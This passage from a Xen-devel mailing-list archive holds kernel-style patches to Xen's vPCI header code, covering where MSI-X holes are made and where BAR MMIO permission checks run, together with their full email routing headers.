do it ahead of the p2m changes, as that's simpler.

Note that vpci_make_msix_hole() should be invoked strictly after setting
bar->enabled. The movement of vpci_make_msix_hole() is OK since
bar->enabled is set in modify_bars().

Take the opportunity to store the memory decoding enabled bit in a local
variable.

Signed-off-by: Roger Pau MonnÃ© <roger.pau@citrix.com>
Signed-off-by: Stewart Hildebrand <stewart.hildebrand@amd.com>
---
Note that this should not be committed until after the bar->enabled
setting movement in ("xen/vpci: only check BAR validity once")

I tested this with hot-plug as described in 7c24d58a6e64 ("vpci/msix:
check for BARs enabled in vpci_make_msix_hole").

The return at the end of the function will gain a purpose again after a
later code movement patch in the series.

The new_enabled variable will gain 2 additional uses later in the series.

v1->v5:
* order after ("xen/vpci: only check BAR validity once")
* preserve behavior of only invoking vpci_make_msix_hole() when memory
  decoding toggles from 0 to 1
* add note about vpci_make_msix_hole() invocation after setting bar->enabled
* use local variable
* Jan offered an R-b tag in [1], though I hesitated to pick it up due to
  changes, and it was offered prior to 7c24d58a6e64 going upstream
[1] https://lore.kernel.org/xen-devel/e2c4944d-d089-490c-879d-b6baec5e4cae@suse.com/
---
 xen/drivers/vpci/header.c | 22 ++++++++--------------
 1 file changed, 8 insertions(+), 14 deletions(-)

diff --git a/xen/drivers/vpci/header.c b/xen/drivers/vpci/header.c
index 1fd4832033e9..cf9d0bac8876 100644
--- a/xen/drivers/vpci/header.c
+++ b/xen/drivers/vpci/header.c
@@ -134,19 +134,6 @@ static void modify_decoding(const struct pci_dev *pdev, uint16_t cmd,
         }
     }
 
-    /*
-     * Make sure there are no mappings in the MSIX MMIO areas, so that accesses
-     * can be trapped (and emulated) by Xen when the memory decoding bit is
-     * enabled.
-     *
-     * FIXME: punching holes after the p2m has been set up might be racy for
-     * DomU usage, needs to be revisited.
-     */
-#ifdef CONFIG_HAS_PCI_MSI
-    if ( map && !rom_only && vpci_make_msix_hole(pdev) )
-        return;
-#endif
-
     if ( !rom_only )
     {
         pci_conf_write16(pdev->sbdf, PCI_COMMAND, cmd);
@@ -529,6 +516,7 @@ static void cf_check cmd_write(
     const struct pci_dev *pdev, unsigned int reg, uint32_t cmd, void *data)
 {
     struct vpci_header *header = data;
+    bool new_enabled = cmd & PCI_COMMAND_MEMORY;
 
     if ( !is_hardware_domain(pdev->domain) )
     {
@@ -546,7 +534,7 @@ static void cf_check cmd_write(
      * decoding one. Bits that are not allowed for DomU are already
      * handled above and by the rsvdp_mask.
      */
-    if ( header->bars_mapped != !!(cmd & PCI_COMMAND_MEMORY) )
+    if ( header->bars_mapped != new_enabled )
         /*
          * Ignore the error. No memory has been added or removed from the p2m
          * (because the actual p2m changes are deferred in defer_map) and the
@@ -556,6 +544,12 @@ static void cf_check cmd_write(
         modify_bars(pdev, cmd, false);
     else
         pci_conf_write16(pdev->sbdf, reg, cmd);
+
+#ifdef CONFIG_HAS_PCI_MSI
+    /* Unpopulate MSI-X table region, so accesses trap into Xen. */
+    if ( !header->bars_mapped && new_enabled && vpci_make_msix_hole(pdev) )
+        return;
+#endif
 }
 
 static uint32_t cf_check guest_cmd_read(
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Wed Jul 08 21:03:52 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 21:03:52 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357349.1611779 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whZQo-0003pj-G5; Wed, 08 Jul 2026 21:03:46 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357349.1611779; Wed, 08 Jul 2026 21:03:46 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whZQo-0003pc-Co; Wed, 08 Jul 2026 21:03:46 +0000
Received: by outflank-mailman (input) for mailman id 1357349;
 Wed, 08 Jul 2026 21:03:44 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Stewart.Hildebrand@amd.com>) id 1whZQm-0003j1-IY
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 21:03:44 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whZQl-00BD5T-D8
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 23:03:43 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Stewart.Hildebrand@amd.com>)
 id 6a4ebaf3-e002-0a2a0a5209dd-0a2a45079420-46
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 23:03:43 +0200
Received: from [52.101.57.60]
 (helo=BN8PR05CU002.outbound.protection.outlook.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Stewart.Hildebrand@amd.com>)
 id 6a4ebb2d-9c8e-0a2a45070019-3465393c8e62-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 23:03:42 +0200
Received: from DS1PR07CA0018.namprd07.prod.outlook.com (2603:10b6:8:44d::13)
 by CH3PR12MB8234.namprd12.prod.outlook.com (2603:10b6:610:125::16) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.8; Wed, 8 Jul 2026
 21:03:34 +0000
Received: from CY4PEPF0000E9D9.namprd05.prod.outlook.com
 (2603:10b6:8:44d:cafe::6) by DS1PR07CA0018.outlook.office365.com
 (2603:10b6:8:44d::13) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.202.10 via Frontend Transport; Wed, 8
 Jul 2026 21:03:34 +0000
Received: from satlexmb08.amd.com (165.204.84.17) by
 CY4PEPF0000E9D9.mail.protection.outlook.com (10.167.241.72) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.181.6 via Frontend Transport; Wed, 8 Jul 2026 21:03:33 +0000
Received: from Satlexmb09.amd.com (10.181.42.218) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Wed, 8 Jul
 2026 16:03:18 -0500
Received: from ubuntu (10.180.168.240) by satlexmb09.amd.com (10.181.42.218)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Wed, 8 Jul
 2026 14:03:15 -0700
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=cBd69AFckwXcGfxN159ZrR3dqKHiqHQaMPcROPcKBoLbmMjKPOW+uYfiuKGqSOrRgzn62n86tHDjo+FUfCCM1+BZ5vd8r60Dm0bLMsReh+WpTo1M3c8jl+dqO6FpSI54Qa1BysBeZgO6P6IdaznKXmT3uUl1MX2NB8jNupIvJLTXz2USYQySSTyIHckfkgpzCjYODP43pC+uR3lNK8UhI4gBZR9vf3Ar66u+rHEKW88gjHczK3nz45tfTiSXTsMSxYE8mdll6ppnShb5betSl+1+fH2+9Z7aFZixQGxricrzLnWVjwOQudhx2V/o6Mhwx7ekse/b2QFg/CxGUzbiXQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=VMH2OpeOLM8+juWpQGgzXCROZP9A2bpoLNjB3cnaChc=;
 b=Xei8wWjrcjqCuMM2RaR9bGum22z+MGnsrqWNx++heMakBTNyWxXBkOd649Sk8LAfqvO8CnB3gO0a/VVAjPx7l7Z/AyJ0TDLLXwxa4QzLX+Lh5OOKneOcA2WfUWa8/RlRlzc2varvSknriu0EAOj54sqinDWwjwAzgFdlvx8fEFiDA6IIahKv5wmTHNxi+9hY6JRsee8Ibd+bLY2WCPTfBfdrdKH1a9Hil+Hi6Tjv9qPw2F7FFiXvqmKtOMO1x4Yx8w4qrGaxNPhk71gv4QsdueEDiP7Tocv2gV8dKjL+xQzawC9ixfJDuBplPfrTy34ZSb4yvmQTSLBCAqHBw2WbmQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=lists.xenproject.org smtp.mailfrom=amd.com;
 dmarc=pass (p=quarantine sp=quarantine pct=100) action=none
 header.from=amd.com; dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=VMH2OpeOLM8+juWpQGgzXCROZP9A2bpoLNjB3cnaChc=;
 b=WGG9z+vF7ek6jI9gxqcvqwwfW6tt9dXp+X3oKaeEjpgYe7kcfV/ncI5XgP8/98kv2/dgyMbACGswcLLVIxN7EtazDAgjmUZ9U0qMZp4tDT01esXd+A3XXoAyu1dgNBfmwpqjHOd6UxO0AOUO0llsm1fvL8FqABFeLeZYyVxy5Js=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb08.amd.com; pr=C
From: Stewart Hildebrand <stewart.hildebrand@amd.com>
To: <xen-devel@lists.xenproject.org>
CC: Stewart Hildebrand <stewart.hildebrand@amd.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>, "Daniel P.
 Smith" <dpsmith@apertussolutions.com>
Subject: [PATCH v5 1/9] vpci: move BAR mapping permissions checks
Date: Wed, 8 Jul 2026 17:02:16 -0400
Message-ID: <20260708210233.922275-2-stewart.hildebrand@amd.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260708210233.922275-1-stewart.hildebrand@amd.com>
References: <20260708210233.922275-1-stewart.hildebrand@amd.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-Originating-IP: [10.180.168.240]
X-ClientProxiedBy: satlexmb07.amd.com (10.181.42.216) To satlexmb09.amd.com
 (10.181.42.218)
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CY4PEPF0000E9D9:EE_|CH3PR12MB8234:EE_
X-MS-Office365-Filtering-Correlation-Id: 12c03e06-8427-4e0e-ef31-08dedd345f49
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|36860700016|1800799024|376014|82310400026|23010399003|18002099003|22082099003|56012099006|11063799006;
X-Microsoft-Antispam-Message-Info:
	YK/CRFC7v5jXTdS3MAIU5GVlvNro234PO7Rq3+hwOP0jdqSbitQ8DnLyrvMFlrE2eBE4YA4jDUc6y2QLxeBoqtFEOFxYEW2QnEjYdEJ0uOLhUt7HPDhCTKwE3kBATyhGfJzZEPcIkSU2Y0w2JllvyOR7zTHab+X/FbyC/62+0iYPTdrCB7Vu96/vFVKe3f+/bOYdkLsT5T4WmNMd6LL4/m9x9J1jSMz57S9aWW5Dl/gMb6UChs0esb+/orhpYisFmZoTvzJ3X8sM0aUR599OGfsx7jNKPuGqtSTDrwUkarqNhNANcJlgYkQz74LmNI9WgOmDq2bC1COHrNzz3UjVTau6e9ocFzQUgByMYfDSjWmJPr1acFMLco/Rkb7LYB2yJIAA8HGeLrVTNOJg2E9wouQt1AgXGWXd8sIZWexpkNih803o73E/h1bHzh1lyjOEerriEIOKbdRko7zJfda83JwzUVxU7VPXELcrmbNfD6JRBHEkiLj/I/IAf5GX4uX2L2uJaSvYwdBpy7BpHKkq7XIZV8qra/FS6PScV0biPo6rYZwxK41ojZX2O7iEOhVguU/HN2VEVonF/qwr77ygCjco9S+g2thfeqk5lguIqMiKfDpjqVm4/K+LNYHEwQnF5QyZWlH6aHIn+pVMqDa2V3TaFjgLp5QjOLVKCWrdmm95aRXD9V3hM6y0qIo0nqGd91HOx04NJWfavX08+j4iDw==
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb08.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(36860700016)(1800799024)(376014)(82310400026)(23010399003)(18002099003)(22082099003)(56012099006)(11063799006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	pRnIGqFpTfdkn2mEgt1ONrWuYR9tzZ9a63sbQLchIaYtfUsTFdlZF/Jh6LjM0sY0/8cfwiuUlkTK9e/6mXkTLGp+lFDYdHA4Y5GvUxK46JJ3N9jdvzWAiKtR8JJNI20IzZZx5/ejqAweZ1PUWjRQe4GLZBR7h72x+66GIs6FI6PGwcPwEP9joXYD9m9qbUpbvMAPzRhTiOeXpQM2alx8p8+m/B0hxLTWsibRux9F5AyvkeURFaxlD+1/h5rzOX0Oll0QpsfQyGro0sH1IvYomlZP163zQ1Ntf50xdsXp9WLiLpHeewGuAM8l83HzQ3eNgq0ezfd+0Ka4II4NaMtuzgAeVtzJ7+t4EGTERAJJzQ/yB05S2AOtbYn5I7BEdiRpyeuSe4tMYW70wYDeXjq06X0nh5JGMs6J9M/mfz2YoU73D6TG/PTMIjMSjee9/DCI
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 08 Jul 2026 21:03:33.9071
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 12c03e06-8427-4e0e-ef31-08dedd345f49
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb08.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	CY4PEPF0000E9D9.namprd05.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: CH3PR12MB8234
X-purgate-ID: tlsNG-ef75cf/1783544623-145FC25E-C2C5DDF4/0/0
X-purgate-type: clean
X-purgate-size: 2667

There's no need to defer the permissions checks. Perform them right away
in modify_bars().

As a result of the move, the permissions checks will now cover the whole
BAR before any holes are removed.

Carry over the domain_crash() in the error path for domUs.

Signed-off-by: Stewart Hildebrand <stewart.hildebrand@amd.com>
---
v5: new patch
---
 xen/drivers/vpci/header.c | 40 +++++++++++++++++++++------------------
 1 file changed, 22 insertions(+), 18 deletions(-)

diff --git a/xen/drivers/vpci/header.c b/xen/drivers/vpci/header.c
index d1c92cf77f8a..5ac525036672 100644
--- a/xen/drivers/vpci/header.c
+++ b/xen/drivers/vpci/header.c
@@ -58,24 +58,6 @@ static int cf_check map_range(
          * offset of the current address from the BAR start.
          */
         unsigned long map_mfn = start_mfn + s - start_gfn;
-        unsigned long m_end = map_mfn + size - 1;
-
-        if ( !iomem_access_permitted(map->d, map_mfn, m_end) )
-        {
-            printk(XENLOG_G_WARNING
-                   "%pd denied access to MMIO range [%#lx, %#lx]\n",
-                   map->d, map_mfn, m_end);
-            return -EPERM;
-        }
-
-        rc = xsm_iomem_mapping_vpci(XSM_HOOK, map->d, map_mfn, m_end, map->map);
-        if ( rc )
-        {
-            printk(XENLOG_G_WARNING
-                   "%pd XSM denied access to MMIO range [%#lx, %#lx]: %d\n",
-                   map->d, map_mfn, m_end, rc);
-            return rc;
-        }
 
         /*
          * ARM TODOs:
@@ -369,6 +351,28 @@ static int modify_bars(const struct pci_dev *pdev, uint16_t cmd, bool rom_only)
             return -EINVAL;
         }
 
+        if ( !iomem_access_permitted(pdev->domain, start, end) )
+        {
+            printk(XENLOG_G_WARNING
+                   "%pd denied access to MMIO range [%#lx, %#lx]\n",
+                   pdev->domain, start, end);
+            if ( !is_hardware_domain(pdev->domain) )
+                domain_crash(pdev->domain);
+            return -EPERM;
+        }
+
+        rc = xsm_iomem_mapping_vpci(XSM_HOOK, pdev->domain, start, end,
+                                    !!(cmd & PCI_COMMAND_MEMORY));
+        if ( rc )
+        {
+            printk(XENLOG_G_WARNING
+                   "%pd XSM denied access to MMIO range [%#lx, %#lx]: %d\n",
+                   pdev->domain, start, end, rc);
+            if ( !is_hardware_domain(pdev->domain) )
+                domain_crash(pdev->domain);
+            return rc;
+        }
+
         rc = rangeset_add_range(bar->mem, start_guest, end_guest);
         if ( rc )
         {
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Wed Jul 08 21:03:53 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 21:03:53 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357351.1611797 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whZQv-0004QQ-8T; Wed, 08 Jul 2026 21:03:53 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357351.1611797; Wed, 08 Jul 2026 21:03:53 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whZQv-0004Q6-5B; Wed, 08 Jul 2026 21:03:53 +0000
Received: by outflank-mailman (input) for mailman id 1357351;
 Wed, 08 Jul 2026 21:03:52 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Stewart.Hildebrand@amd.com>) id 1whZQu-0004NW-Hz
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 21:03:52 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whZQt-00CYbB-HL
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 23:03:51 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Stewart.Hildebrand@amd.com>)
 id 6a4ebafd-bab6-0a2a0a5309dd-0a2a4502c1f2-36
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 23:03:51 +0200
Received: from [52.101.61.60]
 (helo=DM1PR04CU001.outbound.protection.outlook.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Stewart.Hildebrand@amd.com>)
 id 6a4ebb35-5a27-0a2a45020019-34653d3c37fb-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 23:03:50 +0200
Received: from CH0PR03CA0362.namprd03.prod.outlook.com (2603:10b6:610:119::9)
 by DM4PR12MB6664.namprd12.prod.outlook.com (2603:10b6:8:bb::18) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.9; Wed, 8 Jul 2026
 21:03:42 +0000
Received: from CH3PEPF0000000B.namprd04.prod.outlook.com
 (2603:10b6:610:119:cafe::55) by CH0PR03CA0362.outlook.office365.com
 (2603:10b6:610:119::9) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.202.10 via Frontend Transport; Wed, 8
 Jul 2026 21:03:42 +0000
Received: from satlexmb08.amd.com (165.204.84.17) by
 CH3PEPF0000000B.mail.protection.outlook.com (10.167.244.38) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.181.6 via Frontend Transport; Wed, 8 Jul 2026 21:03:41 +0000
Received: from Satlexmb09.amd.com (10.181.42.218) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Wed, 8 Jul
 2026 16:03:41 -0500
Received: from ubuntu (10.180.168.240) by satlexmb09.amd.com (10.181.42.218)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Wed, 8 Jul
 2026 14:03:41 -0700
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=KN60nnxFFwJSSDrfCC10oE3/sBu/YBouEwTCQY95C6DDJx3wUXx5c1qq1LKc1Zy08sTRARQENz6O5HWzU7+AMVna4Z/e8HsF3Y4eOiI/LhC2Nn9cJlFYONIz6BoC9dfUEhqoDxpYq5s5J5hGD4ULYdk6Q/oZ/wqK1acSWLYuAgR57nO1IwTfhOo576ECCzO9YzuqtpQv4m0xEmEHXrVkYBy2G0wMh39h0Avwt79pkAcE1KTfV4AFuRhwhEy5yB/0m+X4BZCftZsyJcpjijcX/Z4gAMHtqIu769O4SMuJlAIVVNk3pfRKncTu68X7nmMP1/UVcfk9YIq9DYg/hFVuoQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=VVUodHck0vEaTTblxDg5RDc7BDsFcyAxQrfUdezpsHI=;
 b=Y3OtsuuQlIOooIaC0Eo+vexfSM5FFyzx0QGooESIQcECCDssq6SsnfdDn82FhNLdMaE+Y6hQdpMAWa6iNS/F3Y16eZ3Isw9ex2bNnD+/rvw9jXzignRLv+57Uy3Cln0HCL3+VPJVhXKTnU7LqUbtl6QQcFOoX9zUPsyMnY3X2vPAzM0HUEt3gwbW8LRB0d1YXRjk5N9VnzJ6vQFi/+E6zzedgavyEYuTNFmo50O1TIvYDL6JpNbPnALmf0b+KQ18P6GbANd7X3MH8HHoEPqF9s9PsfFyhmbbQsELvLeuvx1kOgOwwlUvOVjZzYDuqqchDTkG43ut1oWmadtl7w+b2Q==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=lists.xenproject.org smtp.mailfrom=amd.com;
 dmarc=pass (p=quarantine sp=quarantine pct=100) action=none
 header.from=amd.com; dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=VVUodHck0vEaTTblxDg5RDc7BDsFcyAxQrfUdezpsHI=;
 b=3LhAIgOWB8fP2T9tqWVx9jqWMhf294LShZHBbaKGU5i3/4CsK+TMHggBkbKdLoasqv4fIZ+zLg1rUMyNxIrJPOKoLXzDkhCHxzw83Ip+cM3M+pweDI8gxsmTufUGwLeOtrifszAPjePHOh1GhIdRyhP1assZek2wM7oY8LFn6pk=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb08.amd.com; pr=C
From: Stewart Hildebrand <stewart.hildebrand@amd.com>
To: <xen-devel@lists.xenproject.org>
CC: Roger Pau Monne <roger.pau@citrix.com>, Stewart Hildebrand
	<stewart.hildebrand@amd.com>
Subject: [PATCH v5 5/9] vpci: simplify handling of memory decoding and ROM enable writes
Date: Wed, 8 Jul 2026 17:02:20 -0400
Message-ID: <20260708210233.922275-6-stewart.hildebrand@amd.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260708210233.922275-1-stewart.hildebrand@amd.com>
References: <20260708210233.922275-1-stewart.hildebrand@amd.com>
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
X-Originating-IP: [10.180.168.240]
X-ClientProxiedBy: satlexmb07.amd.com (10.181.42.216) To satlexmb09.amd.com
 (10.181.42.218)
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CH3PEPF0000000B:EE_|DM4PR12MB6664:EE_
X-MS-Office365-Filtering-Correlation-Id: 05df2474-5f02-41a2-c0ad-08dedd346408
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|23010399003|376014|36860700016|1800799024|82310400026|11063799006|56012099006|18002099003|22082099003;
X-Microsoft-Antispam-Message-Info:
	6z0ELKaOZ9oqmhr9HvY8dox93fJIWG8HluOXzKVseqFiJMZqCTxqLB2Nv8RuVpR9DZaFgoq8V0KtGUOcruUqyo7+EN2a/FTf1di7xhjk9dHuJ4gltIwkZCN32Hsqhiw611W37BOiwcn7N0X465rIlGRYOY5Q6N9SUHXYyMasXonSBg04+6+aTCL8SqvPS9a42lvgbEoIzVxeCixs5bALum3MUnN6Gzt+a7g9EmRJp8g98L9yekw/cEp5oCJME1Rn4I6CVpwvuNnfqBpMuJqTuyJ7gnfCX6DSEl4WyEkoe22yWnRuSGyL0gClwEKcs0z3qBLQTy+s8K0afBdgZifmdPYRognMjmY+bWvuwNBek2Paoif9t6NOjab2GZKTWCx+bGGFrsMTylANjRMGEL76A5/f+kQNGBIL7kcQahqx+ryLMBHoOUQakl6FvNcCePMjR8uLbA6zpYNzxl0ih0BrWvm99y+tyCDv1Iipyg87rA74WZKMvvm4LcHCHPO8BwS0AJqSidjLKAZXJeJ8Z87i46MDzE4nGZlpsOLkfgl35dlNBgjlwgPUlx1YsGVR6j2aNO39R5GzoQZuFYm/+lSCTp9B7XIteTZDTjIakJwpS3O+htGSGh7dfxz2EXEB+4mndTmixUw4J9va0dAw/mHNBdcDPZfdUx+spCEqnpuG9/oc+tbmdP7f2J3XZ7ax0aCq3bCNfSOgj2ARJFCwGbrvUw==
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb08.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(23010399003)(376014)(36860700016)(1800799024)(82310400026)(11063799006)(56012099006)(18002099003)(22082099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
